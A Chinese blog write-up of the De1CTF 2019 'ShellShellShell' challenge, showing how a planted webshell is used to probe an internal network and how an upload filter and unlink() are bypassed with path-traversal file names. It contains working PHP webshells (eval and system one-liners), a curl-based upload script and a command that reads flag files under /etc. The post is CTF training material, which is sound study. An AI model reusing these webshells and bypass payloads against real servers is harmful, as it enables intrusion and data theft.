[De1CTF 2019]ShellShellShell 内网探测&curl 传参传文件

0x01 题目描述

总共分为两部分,都是两道原题~~,我们主要讲一下第二部分,关于第一部分的writeup,以前也写过~~

第一部分:传送门

第二部分:

我们穿了一句话之后,可以用蚁剑连接,然后就是内网探测了~~
打开/proc/net/fib_trie,查看内网信息~~
在这里插入图片描述我们的主机是173.158.29.9,我们用蚁剑自带的端口探测工具扫一下~~
在这里插入图片描述在这里插入图片描述
然后我们使用wget http://173.158.29.10 -O a.html下载下来(保存在/upload)
打开网页
在这里插入图片描述以前的原题
我们这儿需要绕过两个地方
第一个是:

$ext==$filename[count($filename) - 1]

这儿我们file[1]=abc&file[0]=文件名就可以绕过


第二个是

unlink($new_name)

两种方法都可以绕过

第一种

简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。

但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。

如果 POST:

file[1]=aaa&file[0]=php/.

则新的文件名为xxx.php/.,在move_uploaded_file()处理的时候,会转化为绝对路径,成功将xxx.php保存。

但是unlink()删除失败,xxx.php就被保存了下来。

第二种
file[1]=aaa&file[0]=php/../shell.php

新的文件名为xxx.php/../shell.php,用了一个相对路径,创建的其实是当前目录下的shell.php,同样也能绕过unlink()

我们采用第二种方法,因为这样就能绕过随机数,不用去爆破随机数~~

题解

由于环境中python中没有requests,所以我们考虑使用两种方法在终端中访问内网,第一种是php_curl,第二种是自带的curl

php_curl	
`postman`生成代码

在这里插入图片描述在这里插入图片描述注意这儿没有上传文件的内容,需要我们自行添加~~
最终的代码为:

<?php
$curl = curl_init();
curl_setopt_array($curl, array(
  CURLOPT_URL => "http://173.158.29.10/",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"a.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nmajian.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\nsss\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\nxxx/../majian.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nxxx\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
    "postman-token: ecd6f7b9-151a-f477-fea3-f428eedf5cb2"
  ),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}


使用自带的curl 首先在当前目录下建一个flag.php文件,内容为
@<?php var_dump($_POST["xxx"]); eval($_POST["xxx"]); echo 5555; ?>
不要忘了前面的@

然后再创建一个一句话p.php
内容为:

<?php system($_POST["xxx"]); ?>

然后再访问p.php,执行curl命令

xxx=curl 'http://173.158.29.10' -F 'hello=flag.php' -F '[email protected]' -F 'file[1]=abc' -F 'file[0]=xxx/../flag.php' -F 'xxx=system("cat /etc/flag*");'

得到flag在这里插入图片描述

看了网上的wp,有师傅通过gopher+ssrf做的,挺有意思的
链接
参考链接

- 赵师傅
- 离怀秋师傅

个人感想

在执行稍微复杂一点的linux命令时别在菜刀或者蚁剑上的终端行执行,有时候会报错,毕竟这个终端知识模拟终端~~,在传输数据的时候,会有部分错误,如特殊字符等~~

发布了81 篇原创文章 · 获赞 10 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/104132751